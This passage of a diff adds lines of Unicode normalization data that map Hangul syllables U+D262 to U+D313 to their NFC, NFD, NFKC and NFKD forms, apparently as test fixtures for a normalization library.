+{ source: [0xD262], NFC: [0xD262], NFD: [0x1110, 0x116F, 0x11C1], NFKC: [0xD262], NFKD: [0x1110, 0x116F, 0x11C1] },
+{ source: [0xD263], NFC: [0xD263], NFD: [0x1110, 0x116F, 0x11C2], NFKC: [0xD263], NFKD: [0x1110, 0x116F, 0x11C2] },
+{ source: [0xD264], NFC: [0xD264], NFD: [0x1110, 0x1170], NFKC: [0xD264], NFKD: [0x1110, 0x1170] },
+{ source: [0xD265], NFC: [0xD265], NFD: [0x1110, 0x1170, 0x11A8], NFKC: [0xD265], NFKD: [0x1110, 0x1170, 0x11A8] },
+{ source: [0xD266], NFC: [0xD266], NFD: [0x1110, 0x1170, 0x11A9], NFKC: [0xD266], NFKD: [0x1110, 0x1170, 0x11A9] },
+{ source: [0xD267], NFC: [0xD267], NFD: [0x1110, 0x1170, 0x11AA], NFKC: [0xD267], NFKD: [0x1110, 0x1170, 0x11AA] },
+{ source: [0xD268], NFC: [0xD268], NFD: [0x1110, 0x1170, 0x11AB], NFKC: [0xD268], NFKD: [0x1110, 0x1170, 0x11AB] },
+{ source: [0xD269], NFC: [0xD269], NFD: [0x1110, 0x1170, 0x11AC], NFKC: [0xD269], NFKD: [0x1110, 0x1170, 0x11AC] },
+{ source: [0xD26A], NFC: [0xD26A], NFD: [0x1110, 0x1170, 0x11AD], NFKC: [0xD26A], NFKD: [0x1110, 0x1170, 0x11AD] },
+{ source: [0xD26B], NFC: [0xD26B], NFD: [0x1110, 0x1170, 0x11AE], NFKC: [0xD26B], NFKD: [0x1110, 0x1170, 0x11AE] },
+{ source: [0xD26C], NFC: [0xD26C], NFD: [0x1110, 0x1170, 0x11AF], NFKC: [0xD26C], NFKD: [0x1110, 0x1170, 0x11AF] },
+{ source: [0xD26D], NFC: [0xD26D], NFD: [0x1110, 0x1170, 0x11B0], NFKC: [0xD26D], NFKD: [0x1110, 0x1170, 0x11B0] },
+{ source: [0xD26E], NFC: [0xD26E], NFD: [0x1110, 0x1170, 0x11B1], NFKC: [0xD26E], NFKD: [0x1110, 0x1170, 0x11B1] },
+{ source: [0xD26F], NFC: [0xD26F], NFD: [0x1110, 0x1170, 0x11B2], NFKC: [0xD26F], NFKD: [0x1110, 0x1170, 0x11B2] },
+{ source: [0xD270], NFC: [0xD270], NFD: [0x1110, 0x1170, 0x11B3], NFKC: [0xD270], NFKD: [0x1110, 0x1170, 0x11B3] },
+{ source: [0xD271], NFC: [0xD271], NFD: [0x1110, 0x1170, 0x11B4], NFKC: [0xD271], NFKD: [0x1110, 0x1170, 0x11B4] },
+{ source: [0xD272], NFC: [0xD272], NFD: [0x1110, 0x1170, 0x11B5], NFKC: [0xD272], NFKD: [0x1110, 0x1170, 0x11B5] },
+{ source: [0xD273], NFC: [0xD273], NFD: [0x1110, 0x1170, 0x11B6], NFKC: [0xD273], NFKD: [0x1110, 0x1170, 0x11B6] },
+{ source: [0xD274], NFC: [0xD274], NFD: [0x1110, 0x1170, 0x11B7], NFKC: [0xD274], NFKD: [0x1110, 0x1170, 0x11B7] },
+{ source: [0xD275], NFC: [0xD275], NFD: [0x1110, 0x1170, 0x11B8], NFKC: [0xD275], NFKD: [0x1110, 0x1170, 0x11B8] },
+{ source: [0xD276], NFC: [0xD276], NFD: [0x1110, 0x1170, 0x11B9], NFKC: [0xD276], NFKD: [0x1110, 0x1170, 0x11B9] },
+{ source: [0xD277], NFC: [0xD277], NFD: [0x1110, 0x1170, 0x11BA], NFKC: [0xD277], NFKD: [0x1110, 0x1170, 0x11BA] },
+{ source: [0xD278], NFC: [0xD278], NFD: [0x1110, 0x1170, 0x11BB], NFKC: [0xD278], NFKD: [0x1110, 0x1170, 0x11BB] },
+{ source: [0xD279], NFC: [0xD279], NFD: [0x1110, 0x1170, 0x11BC], NFKC: [0xD279], NFKD: [0x1110, 0x1170, 0x11BC] },
+{ source: [0xD27A], NFC: [0xD27A], NFD: [0x1110, 0x1170, 0x11BD], NFKC: [0xD27A], NFKD: [0x1110, 0x1170, 0x11BD] },
+{ source: [0xD27B], NFC: [0xD27B], NFD: [0x1110, 0x1170, 0x11BE], NFKC: [0xD27B], NFKD: [0x1110, 0x1170, 0x11BE] },
+{ source: [0xD27C], NFC: [0xD27C], NFD: [0x1110, 0x1170, 0x11BF], NFKC: [0xD27C], NFKD: [0x1110, 0x1170, 0x11BF] },
+{ source: [0xD27D], NFC: [0xD27D], NFD: [0x1110, 0x1170, 0x11C0], NFKC: [0xD27D], NFKD: [0x1110, 0x1170, 0x11C0] },
+{ source: [0xD27E], NFC: [0xD27E], NFD: [0x1110, 0x1170, 0x11C1], NFKC: [0xD27E], NFKD: [0x1110, 0x1170, 0x11C1] },
+{ source: [0xD27F], NFC: [0xD27F], NFD: [0x1110, 0x1170, 0x11C2], NFKC: [0xD27F], NFKD: [0x1110, 0x1170, 0x11C2] },
+{ source: [0xD280], NFC: [0xD280], NFD: [0x1110, 0x1171], NFKC: [0xD280], NFKD: [0x1110, 0x1171] },
+{ source: [0xD281], NFC: [0xD281], NFD: [0x1110, 0x1171, 0x11A8], NFKC: [0xD281], NFKD: [0x1110, 0x1171, 0x11A8] },
+{ source: [0xD282], NFC: [0xD282], NFD: [0x1110, 0x1171, 0x11A9], NFKC: [0xD282], NFKD: [0x1110, 0x1171, 0x11A9] },
+{ source: [0xD283], NFC: [0xD283], NFD: [0x1110, 0x1171, 0x11AA], NFKC: [0xD283], NFKD: [0x1110, 0x1171, 0x11AA] },
+{ source: [0xD284], NFC: [0xD284], NFD: [0x1110, 0x1171, 0x11AB], NFKC: [0xD284], NFKD: [0x1110, 0x1171, 0x11AB] },
+{ source: [0xD285], NFC: [0xD285], NFD: [0x1110, 0x1171, 0x11AC], NFKC: [0xD285], NFKD: [0x1110, 0x1171, 0x11AC] },
+{ source: [0xD286], NFC: [0xD286], NFD: [0x1110, 0x1171, 0x11AD], NFKC: [0xD286], NFKD: [0x1110, 0x1171, 0x11AD] },
+{ source: [0xD287], NFC: [0xD287], NFD: [0x1110, 0x1171, 0x11AE], NFKC: [0xD287], NFKD: [0x1110, 0x1171, 0x11AE] },
+{ source: [0xD288], NFC: [0xD288], NFD: [0x1110, 0x1171, 0x11AF], NFKC: [0xD288], NFKD: [0x1110, 0x1171, 0x11AF] },
+{ source: [0xD289], NFC: [0xD289], NFD: [0x1110, 0x1171, 0x11B0], NFKC: [0xD289], NFKD: [0x1110, 0x1171, 0x11B0] },
+{ source: [0xD28A], NFC: [0xD28A], NFD: [0x1110, 0x1171, 0x11B1], NFKC: [0xD28A], NFKD: [0x1110, 0x1171, 0x11B1] },
+{ source: [0xD28B], NFC: [0xD28B], NFD: [0x1110, 0x1171, 0x11B2], NFKC: [0xD28B], NFKD: [0x1110, 0x1171, 0x11B2] },
+{ source: [0xD28C], NFC: [0xD28C], NFD: [0x1110, 0x1171, 0x11B3], NFKC: [0xD28C], NFKD: [0x1110, 0x1171, 0x11B3] },
+{ source: [0xD28D], NFC: [0xD28D], NFD: [0x1110, 0x1171, 0x11B4], NFKC: [0xD28D], NFKD: [0x1110, 0x1171, 0x11B4] },
+{ source: [0xD28E], NFC: [0xD28E], NFD: [0x1110, 0x1171, 0x11B5], NFKC: [0xD28E], NFKD: [0x1110, 0x1171, 0x11B5] },
+{ source: [0xD28F], NFC: [0xD28F], NFD: [0x1110, 0x1171, 0x11B6], NFKC: [0xD28F], NFKD: [0x1110, 0x1171, 0x11B6] },
+{ source: [0xD290], NFC: [0xD290], NFD: [0x1110, 0x1171, 0x11B7], NFKC: [0xD290], NFKD: [0x1110, 0x1171, 0x11B7] },
+{ source: [0xD291], NFC: [0xD291], NFD: [0x1110, 0x1171, 0x11B8], NFKC: [0xD291], NFKD: [0x1110, 0x1171, 0x11B8] },
+{ source: [0xD292], NFC: [0xD292], NFD: [0x1110, 0x1171, 0x11B9], NFKC: [0xD292], NFKD: [0x1110, 0x1171, 0x11B9] },
+{ source: [0xD293], NFC: [0xD293], NFD: [0x1110, 0x1171, 0x11BA], NFKC: [0xD293], NFKD: [0x1110, 0x1171, 0x11BA] },
+{ source: [0xD294], NFC: [0xD294], NFD: [0x1110, 0x1171, 0x11BB], NFKC: [0xD294], NFKD: [0x1110, 0x1171, 0x11BB] },
+{ source: [0xD295], NFC: [0xD295], NFD: [0x1110, 0x1171, 0x11BC], NFKC: [0xD295], NFKD: [0x1110, 0x1171, 0x11BC] },
+{ source: [0xD296], NFC: [0xD296], NFD: [0x1110, 0x1171, 0x11BD], NFKC: [0xD296], NFKD: [0x1110, 0x1171, 0x11BD] },
+{ source: [0xD297], NFC: [0xD297], NFD: [0x1110, 0x1171, 0x11BE], NFKC: [0xD297], NFKD: [0x1110, 0x1171, 0x11BE] },
+{ source: [0xD298], NFC: [0xD298], NFD: [0x1110, 0x1171, 0x11BF], NFKC: [0xD298], NFKD: [0x1110, 0x1171, 0x11BF] },
+{ source: [0xD299], NFC: [0xD299], NFD: [0x1110, 0x1171, 0x11C0], NFKC: [0xD299], NFKD: [0x1110, 0x1171, 0x11C0] },
+{ source: [0xD29A], NFC: [0xD29A], NFD: [0x1110, 0x1171, 0x11C1], NFKC: [0xD29A], NFKD: [0x1110, 0x1171, 0x11C1] },
+{ source: [0xD29B], NFC: [0xD29B], NFD: [0x1110, 0x1171, 0x11C2], NFKC: [0xD29B], NFKD: [0x1110, 0x1171, 0x11C2] },
+{ source: [0xD29C], NFC: [0xD29C], NFD: [0x1110, 0x1172], NFKC: [0xD29C], NFKD: [0x1110, 0x1172] },
+{ source: [0xD29D], NFC: [0xD29D], NFD: [0x1110, 0x1172, 0x11A8], NFKC: [0xD29D], NFKD: [0x1110, 0x1172, 0x11A8] },
+{ source: [0xD29E], NFC: [0xD29E], NFD: [0x1110, 0x1172, 0x11A9], NFKC: [0xD29E], NFKD: [0x1110, 0x1172, 0x11A9] },
+{ source: [0xD29F], NFC: [0xD29F], NFD: [0x1110, 0x1172, 0x11AA], NFKC: [0xD29F], NFKD: [0x1110, 0x1172, 0x11AA] },
+{ source: [0xD2A0], NFC: [0xD2A0], NFD: [0x1110, 0x1172, 0x11AB], NFKC: [0xD2A0], NFKD: [0x1110, 0x1172, 0x11AB] },
+{ source: [0xD2A1], NFC: [0xD2A1], NFD: [0x1110, 0x1172, 0x11AC], NFKC: [0xD2A1], NFKD: [0x1110, 0x1172, 0x11AC] },
+{ source: [0xD2A2], NFC: [0xD2A2], NFD: [0x1110, 0x1172, 0x11AD], NFKC: [0xD2A2], NFKD: [0x1110, 0x1172, 0x11AD] },
+{ source: [0xD2A3], NFC: [0xD2A3], NFD: [0x1110, 0x1172, 0x11AE], NFKC: [0xD2A3], NFKD: [0x1110, 0x1172, 0x11AE] },
+{ source: [0xD2A4], NFC: [0xD2A4], NFD: [0x1110, 0x1172, 0x11AF], NFKC: [0xD2A4], NFKD: [0x1110, 0x1172, 0x11AF] },
+{ source: [0xD2A5], NFC: [0xD2A5], NFD: [0x1110, 0x1172, 0x11B0], NFKC: [0xD2A5], NFKD: [0x1110, 0x1172, 0x11B0] },
+{ source: [0xD2A6], NFC: [0xD2A6], NFD: [0x1110, 0x1172, 0x11B1], NFKC: [0xD2A6], NFKD: [0x1110, 0x1172, 0x11B1] },
+{ source: [0xD2A7], NFC: [0xD2A7], NFD: [0x1110, 0x1172, 0x11B2], NFKC: [0xD2A7], NFKD: [0x1110, 0x1172, 0x11B2] },
+{ source: [0xD2A8], NFC: [0xD2A8], NFD: [0x1110, 0x1172, 0x11B3], NFKC: [0xD2A8], NFKD: [0x1110, 0x1172, 0x11B3] },
+{ source: [0xD2A9], NFC: [0xD2A9], NFD: [0x1110, 0x1172, 0x11B4], NFKC: [0xD2A9], NFKD: [0x1110, 0x1172, 0x11B4] },
+{ source: [0xD2AA], NFC: [0xD2AA], NFD: [0x1110, 0x1172, 0x11B5], NFKC: [0xD2AA], NFKD: [0x1110, 0x1172, 0x11B5] },
+{ source: [0xD2AB], NFC: [0xD2AB], NFD: [0x1110, 0x1172, 0x11B6], NFKC: [0xD2AB], NFKD: [0x1110, 0x1172, 0x11B6] },
+{ source: [0xD2AC], NFC: [0xD2AC], NFD: [0x1110, 0x1172, 0x11B7], NFKC: [0xD2AC], NFKD: [0x1110, 0x1172, 0x11B7] },
+{ source: [0xD2AD], NFC: [0xD2AD], NFD: [0x1110, 0x1172, 0x11B8], NFKC: [0xD2AD], NFKD: [0x1110, 0x1172, 0x11B8] },
+{ source: [0xD2AE], NFC: [0xD2AE], NFD: [0x1110, 0x1172, 0x11B9], NFKC: [0xD2AE], NFKD: [0x1110, 0x1172, 0x11B9] },
+{ source: [0xD2AF], NFC: [0xD2AF], NFD: [0x1110, 0x1172, 0x11BA], NFKC: [0xD2AF], NFKD: [0x1110, 0x1172, 0x11BA] },
+{ source: [0xD2B0], NFC: [0xD2B0], NFD: [0x1110, 0x1172, 0x11BB], NFKC: [0xD2B0], NFKD: [0x1110, 0x1172, 0x11BB] },
+{ source: [0xD2B1], NFC: [0xD2B1], NFD: [0x1110, 0x1172, 0x11BC], NFKC: [0xD2B1], NFKD: [0x1110, 0x1172, 0x11BC] },
+{ source: [0xD2B2], NFC: [0xD2B2], NFD: [0x1110, 0x1172, 0x11BD], NFKC: [0xD2B2], NFKD: [0x1110, 0x1172, 0x11BD] },
+{ source: [0xD2B3], NFC: [0xD2B3], NFD: [0x1110, 0x1172, 0x11BE], NFKC: [0xD2B3], NFKD: [0x1110, 0x1172, 0x11BE] },
+{ source: [0xD2B4], NFC: [0xD2B4], NFD: [0x1110, 0x1172, 0x11BF], NFKC: [0xD2B4], NFKD: [0x1110, 0x1172, 0x11BF] },
+{ source: [0xD2B5], NFC: [0xD2B5], NFD: [0x1110, 0x1172, 0x11C0], NFKC: [0xD2B5], NFKD: [0x1110, 0x1172, 0x11C0] },
+{ source: [0xD2B6], NFC: [0xD2B6], NFD: [0x1110, 0x1172, 0x11C1], NFKC: [0xD2B6], NFKD: [0x1110, 0x1172, 0x11C1] },
+{ source: [0xD2B7], NFC: [0xD2B7], NFD: [0x1110, 0x1172, 0x11C2], NFKC: [0xD2B7], NFKD: [0x1110, 0x1172, 0x11C2] },
+{ source: [0xD2B8], NFC: [0xD2B8], NFD: [0x1110, 0x1173], NFKC: [0xD2B8], NFKD: [0x1110, 0x1173] },
+{ source: [0xD2B9], NFC: [0xD2B9], NFD: [0x1110, 0x1173, 0x11A8], NFKC: [0xD2B9], NFKD: [0x1110, 0x1173, 0x11A8] },
+{ source: [0xD2BA], NFC: [0xD2BA], NFD: [0x1110, 0x1173, 0x11A9], NFKC: [0xD2BA], NFKD: [0x1110, 0x1173, 0x11A9] },
+{ source: [0xD2BB], NFC: [0xD2BB], NFD: [0x1110, 0x1173, 0x11AA], NFKC: [0xD2BB], NFKD: [0x1110, 0x1173, 0x11AA] },
+{ source: [0xD2BC], NFC: [0xD2BC], NFD: [0x1110, 0x1173, 0x11AB], NFKC: [0xD2BC], NFKD: [0x1110, 0x1173, 0x11AB] },
+{ source: [0xD2BD], NFC: [0xD2BD], NFD: [0x1110, 0x1173, 0x11AC], NFKC: [0xD2BD], NFKD: [0x1110, 0x1173, 0x11AC] },
+{ source: [0xD2BE], NFC: [0xD2BE], NFD: [0x1110, 0x1173, 0x11AD], NFKC: [0xD2BE], NFKD: [0x1110, 0x1173, 0x11AD] },
+{ source: [0xD2BF], NFC: [0xD2BF], NFD: [0x1110, 0x1173, 0x11AE], NFKC: [0xD2BF], NFKD: [0x1110, 0x1173, 0x11AE] },
+{ source: [0xD2C0], NFC: [0xD2C0], NFD: [0x1110, 0x1173, 0x11AF], NFKC: [0xD2C0], NFKD: [0x1110, 0x1173, 0x11AF] },
+{ source: [0xD2C1], NFC: [0xD2C1], NFD: [0x1110, 0x1173, 0x11B0], NFKC: [0xD2C1], NFKD: [0x1110, 0x1173, 0x11B0] },
+{ source: [0xD2C2], NFC: [0xD2C2], NFD: [0x1110, 0x1173, 0x11B1], NFKC: [0xD2C2], NFKD: [0x1110, 0x1173, 0x11B1] },
+{ source: [0xD2C3], NFC: [0xD2C3], NFD: [0x1110, 0x1173, 0x11B2], NFKC: [0xD2C3], NFKD: [0x1110, 0x1173, 0x11B2] },
+{ source: [0xD2C4], NFC: [0xD2C4], NFD: [0x1110, 0x1173, 0x11B3], NFKC: [0xD2C4], NFKD: [0x1110, 0x1173, 0x11B3] },
+{ source: [0xD2C5], NFC: [0xD2C5], NFD: [0x1110, 0x1173, 0x11B4], NFKC: [0xD2C5], NFKD: [0x1110, 0x1173, 0x11B4] },
+{ source: [0xD2C6], NFC: [0xD2C6], NFD: [0x1110, 0x1173, 0x11B5], NFKC: [0xD2C6], NFKD: [0x1110, 0x1173, 0x11B5] },
+{ source: [0xD2C7], NFC: [0xD2C7], NFD: [0x1110, 0x1173, 0x11B6], NFKC: [0xD2C7], NFKD: [0x1110, 0x1173, 0x11B6] },
+{ source: [0xD2C8], NFC: [0xD2C8], NFD: [0x1110, 0x1173, 0x11B7], NFKC: [0xD2C8], NFKD: [0x1110, 0x1173, 0x11B7] },
+{ source: [0xD2C9], NFC: [0xD2C9], NFD: [0x1110, 0x1173, 0x11B8], NFKC: [0xD2C9], NFKD: [0x1110, 0x1173, 0x11B8] },
+{ source: [0xD2CA], NFC: [0xD2CA], NFD: [0x1110, 0x1173, 0x11B9], NFKC: [0xD2CA], NFKD: [0x1110, 0x1173, 0x11B9] },
+{ source: [0xD2CB], NFC: [0xD2CB], NFD: [0x1110, 0x1173, 0x11BA], NFKC: [0xD2CB], NFKD: [0x1110, 0x1173, 0x11BA] },
+{ source: [0xD2CC], NFC: [0xD2CC], NFD: [0x1110, 0x1173, 0x11BB], NFKC: [0xD2CC], NFKD: [0x1110, 0x1173, 0x11BB] },
+{ source: [0xD2CD], NFC: [0xD2CD], NFD: [0x1110, 0x1173, 0x11BC], NFKC: [0xD2CD], NFKD: [0x1110, 0x1173, 0x11BC] },
+{ source: [0xD2CE], NFC: [0xD2CE], NFD: [0x1110, 0x1173, 0x11BD], NFKC: [0xD2CE], NFKD: [0x1110, 0x1173, 0x11BD] },
+{ source: [0xD2CF], NFC: [0xD2CF], NFD: [0x1110, 0x1173, 0x11BE], NFKC: [0xD2CF], NFKD: [0x1110, 0x1173, 0x11BE] },
+{ source: [0xD2D0], NFC: [0xD2D0], NFD: [0x1110, 0x1173, 0x11BF], NFKC: [0xD2D0], NFKD: [0x1110, 0x1173, 0x11BF] },
+{ source: [0xD2D1], NFC: [0xD2D1], NFD: [0x1110, 0x1173, 0x11C0], NFKC: [0xD2D1], NFKD: [0x1110, 0x1173, 0x11C0] },
+{ source: [0xD2D2], NFC: [0xD2D2], NFD: [0x1110, 0x1173, 0x11C1], NFKC: [0xD2D2], NFKD: [0x1110, 0x1173, 0x11C1] },
+{ source: [0xD2D3], NFC: [0xD2D3], NFD: [0x1110, 0x1173, 0x11C2], NFKC: [0xD2D3], NFKD: [0x1110, 0x1173, 0x11C2] },
+{ source: [0xD2D4], NFC: [0xD2D4], NFD: [0x1110, 0x1174], NFKC: [0xD2D4], NFKD: [0x1110, 0x1174] },
+{ source: [0xD2D5], NFC: [0xD2D5], NFD: [0x1110, 0x1174, 0x11A8], NFKC: [0xD2D5], NFKD: [0x1110, 0x1174, 0x11A8] },
+{ source: [0xD2D6], NFC: [0xD2D6], NFD: [0x1110, 0x1174, 0x11A9], NFKC: [0xD2D6], NFKD: [0x1110, 0x1174, 0x11A9] },
+{ source: [0xD2D7], NFC: [0xD2D7], NFD: [0x1110, 0x1174, 0x11AA], NFKC: [0xD2D7], NFKD: [0x1110, 0x1174, 0x11AA] },
+{ source: [0xD2D8], NFC: [0xD2D8], NFD: [0x1110, 0x1174, 0x11AB], NFKC: [0xD2D8], NFKD: [0x1110, 0x1174, 0x11AB] },
+{ source: [0xD2D9], NFC: [0xD2D9], NFD: [0x1110, 0x1174, 0x11AC], NFKC: [0xD2D9], NFKD: [0x1110, 0x1174, 0x11AC] },
+{ source: [0xD2DA], NFC: [0xD2DA], NFD: [0x1110, 0x1174, 0x11AD], NFKC: [0xD2DA], NFKD: [0x1110, 0x1174, 0x11AD] },
+{ source: [0xD2DB], NFC: [0xD2DB], NFD: [0x1110, 0x1174, 0x11AE], NFKC: [0xD2DB], NFKD: [0x1110, 0x1174, 0x11AE] },
+{ source: [0xD2DC], NFC: [0xD2DC], NFD: [0x1110, 0x1174, 0x11AF], NFKC: [0xD2DC], NFKD: [0x1110, 0x1174, 0x11AF] },
+{ source: [0xD2DD], NFC: [0xD2DD], NFD: [0x1110, 0x1174, 0x11B0], NFKC: [0xD2DD], NFKD: [0x1110, 0x1174, 0x11B0] },
+{ source: [0xD2DE], NFC: [0xD2DE], NFD: [0x1110, 0x1174, 0x11B1], NFKC: [0xD2DE], NFKD: [0x1110, 0x1174, 0x11B1] },
+{ source: [0xD2DF], NFC: [0xD2DF], NFD: [0x1110, 0x1174, 0x11B2], NFKC: [0xD2DF], NFKD: [0x1110, 0x1174, 0x11B2] },
+{ source: [0xD2E0], NFC: [0xD2E0], NFD: [0x1110, 0x1174, 0x11B3], NFKC: [0xD2E0], NFKD: [0x1110, 0x1174, 0x11B3] },
+{ source: [0xD2E1], NFC: [0xD2E1], NFD: [0x1110, 0x1174, 0x11B4], NFKC: [0xD2E1], NFKD: [0x1110, 0x1174, 0x11B4] },
+{ source: [0xD2E2], NFC: [0xD2E2], NFD: [0x1110, 0x1174, 0x11B5], NFKC: [0xD2E2], NFKD: [0x1110, 0x1174, 0x11B5] },
+{ source: [0xD2E3], NFC: [0xD2E3], NFD: [0x1110, 0x1174, 0x11B6], NFKC: [0xD2E3], NFKD: [0x1110, 0x1174, 0x11B6] },
+{ source: [0xD2E4], NFC: [0xD2E4], NFD: [0x1110, 0x1174, 0x11B7], NFKC: [0xD2E4], NFKD: [0x1110, 0x1174, 0x11B7] },
+{ source: [0xD2E5], NFC: [0xD2E5], NFD: [0x1110, 0x1174, 0x11B8], NFKC: [0xD2E5], NFKD: [0x1110, 0x1174, 0x11B8] },
+{ source: [0xD2E6], NFC: [0xD2E6], NFD: [0x1110, 0x1174, 0x11B9], NFKC: [0xD2E6], NFKD: [0x1110, 0x1174, 0x11B9] },
+{ source: [0xD2E7], NFC: [0xD2E7], NFD: [0x1110, 0x1174, 0x11BA], NFKC: [0xD2E7], NFKD: [0x1110, 0x1174, 0x11BA] },
+{ source: [0xD2E8], NFC: [0xD2E8], NFD: [0x1110, 0x1174, 0x11BB], NFKC: [0xD2E8], NFKD: [0x1110, 0x1174, 0x11BB] },
+{ source: [0xD2E9], NFC: [0xD2E9], NFD: [0x1110, 0x1174, 0x11BC], NFKC: [0xD2E9], NFKD: [0x1110, 0x1174, 0x11BC] },
+{ source: [0xD2EA], NFC: [0xD2EA], NFD: [0x1110, 0x1174, 0x11BD], NFKC: [0xD2EA], NFKD: [0x1110, 0x1174, 0x11BD] },
+{ source: [0xD2EB], NFC: [0xD2EB], NFD: [0x1110, 0x1174, 0x11BE], NFKC: [0xD2EB], NFKD: [0x1110, 0x1174, 0x11BE] },
+{ source: [0xD2EC], NFC: [0xD2EC], NFD: [0x1110, 0x1174, 0x11BF], NFKC: [0xD2EC], NFKD: [0x1110, 0x1174, 0x11BF] },
+{ source: [0xD2ED], NFC: [0xD2ED], NFD: [0x1110, 0x1174, 0x11C0], NFKC: [0xD2ED], NFKD: [0x1110, 0x1174, 0x11C0] },
+{ source: [0xD2EE], NFC: [0xD2EE], NFD: [0x1110, 0x1174, 0x11C1], NFKC: [0xD2EE], NFKD: [0x1110, 0x1174, 0x11C1] },
+{ source: [0xD2EF], NFC: [0xD2EF], NFD: [0x1110, 0x1174, 0x11C2], NFKC: [0xD2EF], NFKD: [0x1110, 0x1174, 0x11C2] },
+{ source: [0xD2F0], NFC: [0xD2F0], NFD: [0x1110, 0x1175], NFKC: [0xD2F0], NFKD: [0x1110, 0x1175] },
+{ source: [0xD2F1], NFC: [0xD2F1], NFD: [0x1110, 0x1175, 0x11A8], NFKC: [0xD2F1], NFKD: [0x1110, 0x1175, 0x11A8] },
+{ source: [0xD2F2], NFC: [0xD2F2], NFD: [0x1110, 0x1175, 0x11A9], NFKC: [0xD2F2], NFKD: [0x1110, 0x1175, 0x11A9] },
+{ source: [0xD2F3], NFC: [0xD2F3], NFD: [0x1110, 0x1175, 0x11AA], NFKC: [0xD2F3], NFKD: [0x1110, 0x1175, 0x11AA] },
+{ source: [0xD2F4], NFC: [0xD2F4], NFD: [0x1110, 0x1175, 0x11AB], NFKC: [0xD2F4], NFKD: [0x1110, 0x1175, 0x11AB] },
+{ source: [0xD2F5], NFC: [0xD2F5], NFD: [0x1110, 0x1175, 0x11AC], NFKC: [0xD2F5], NFKD: [0x1110, 0x1175, 0x11AC] },
+{ source: [0xD2F6], NFC: [0xD2F6], NFD: [0x1110, 0x1175, 0x11AD], NFKC: [0xD2F6], NFKD: [0x1110, 0x1175, 0x11AD] },
+{ source: [0xD2F7], NFC: [0xD2F7], NFD: [0x1110, 0x1175, 0x11AE], NFKC: [0xD2F7], NFKD: [0x1110, 0x1175, 0x11AE] },
+{ source: [0xD2F8], NFC: [0xD2F8], NFD: [0x1110, 0x1175, 0x11AF], NFKC: [0xD2F8], NFKD: [0x1110, 0x1175, 0x11AF] },
+{ source: [0xD2F9], NFC: [0xD2F9], NFD: [0x1110, 0x1175, 0x11B0], NFKC: [0xD2F9], NFKD: [0x1110, 0x1175, 0x11B0] },
+{ source: [0xD2FA], NFC: [0xD2FA], NFD: [0x1110, 0x1175, 0x11B1], NFKC: [0xD2FA], NFKD: [0x1110, 0x1175, 0x11B1] },
+{ source: [0xD2FB], NFC: [0xD2FB], NFD: [0x1110, 0x1175, 0x11B2], NFKC: [0xD2FB], NFKD: [0x1110, 0x1175, 0x11B2] },
+{ source: [0xD2FC], NFC: [0xD2FC], NFD: [0x1110, 0x1175, 0x11B3], NFKC: [0xD2FC], NFKD: [0x1110, 0x1175, 0x11B3] },
+{ source: [0xD2FD], NFC: [0xD2FD], NFD: [0x1110, 0x1175, 0x11B4], NFKC: [0xD2FD], NFKD: [0x1110, 0x1175, 0x11B4] },
+{ source: [0xD2FE], NFC: [0xD2FE], NFD: [0x1110, 0x1175, 0x11B5], NFKC: [0xD2FE], NFKD: [0x1110, 0x1175, 0x11B5] },
+{ source: [0xD2FF], NFC: [0xD2FF], NFD: [0x1110, 0x1175, 0x11B6], NFKC: [0xD2FF], NFKD: [0x1110, 0x1175, 0x11B6] },
+{ source: [0xD300], NFC: [0xD300], NFD: [0x1110, 0x1175, 0x11B7], NFKC: [0xD300], NFKD: [0x1110, 0x1175, 0x11B7] },
+{ source: [0xD301], NFC: [0xD301], NFD: [0x1110, 0x1175, 0x11B8], NFKC: [0xD301], NFKD: [0x1110, 0x1175, 0x11B8] },
+{ source: [0xD302], NFC: [0xD302], NFD: [0x1110, 0x1175, 0x11B9], NFKC: [0xD302], NFKD: [0x1110, 0x1175, 0x11B9] },
+{ source: [0xD303], NFC: [0xD303], NFD: [0x1110, 0x1175, 0x11BA], NFKC: [0xD303], NFKD: [0x1110, 0x1175, 0x11BA] },
+{ source: [0xD304], NFC: [0xD304], NFD: [0x1110, 0x1175, 0x11BB], NFKC: [0xD304], NFKD: [0x1110, 0x1175, 0x11BB] },
+{ source: [0xD305], NFC: [0xD305], NFD: [0x1110, 0x1175, 0x11BC], NFKC: [0xD305], NFKD: [0x1110, 0x1175, 0x11BC] },
+{ source: [0xD306], NFC: [0xD306], NFD: [0x1110, 0x1175, 0x11BD], NFKC: [0xD306], NFKD: [0x1110, 0x1175, 0x11BD] },
+{ source: [0xD307], NFC: [0xD307], NFD: [0x1110, 0x1175, 0x11BE], NFKC: [0xD307], NFKD: [0x1110, 0x1175, 0x11BE] },
+{ source: [0xD308], NFC: [0xD308], NFD: [0x1110, 0x1175, 0x11BF], NFKC: [0xD308], NFKD: [0x1110, 0x1175, 0x11BF] },
+{ source: [0xD309], NFC: [0xD309], NFD: [0x1110, 0x1175, 0x11C0], NFKC: [0xD309], NFKD: [0x1110, 0x1175, 0x11C0] },
+{ source: [0xD30A], NFC: [0xD30A], NFD: [0x1110, 0x1175, 0x11C1], NFKC: [0xD30A], NFKD: [0x1110, 0x1175, 0x11C1] },
+{ source: [0xD30B], NFC: [0xD30B], NFD: [0x1110, 0x1175, 0x11C2], NFKC: [0xD30B], NFKD: [0x1110, 0x1175, 0x11C2] },
+{ source: [0xD30C], NFC: [0xD30C], NFD: [0x1111, 0x1161], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0xD30D], NFC: [0xD30D], NFD: [0x1111, 0x1161, 0x11A8], NFKC: [0xD30D], NFKD: [0x1111, 0x1161, 0x11A8] },
+{ source: [0xD30E], NFC: [0xD30E], NFD: [0x1111, 0x1161, 0x11A9], NFKC: [0xD30E], NFKD: [0x1111, 0x1161, 0x11A9] },
+{ source: [0xD30F], NFC: [0xD30F], NFD: [0x1111, 0x1161, 0x11AA], NFKC: [0xD30F], NFKD: [0x1111, 0x1161, 0x11AA] },
+{ source: [0xD310], NFC: [0xD310], NFD: [0x1111, 0x1161, 0x11AB], NFKC: [0xD310], NFKD: [0x1111, 0x1161, 0x11AB] },
+{ source: [0xD311], NFC: [0xD311], NFD: [0x1111, 0x1161, 0x11AC], NFKC: [0xD311], NFKD: [0x1111, 0x1161, 0x11AC] },
+{ source: [0xD312], NFC: [0xD312], NFD: [0x1111, 0x1161, 0x11AD], NFKC: [0xD312], NFKD: [0x1111, 0x1161, 0x11AD] },
+{ source: [0xD313], NFC: [0xD313], NFD: [0x1111, 0x1161, 0x11AE], NFKC: [0xD313], NFKD: [0x1111, 0x1161, 0x11AE] },
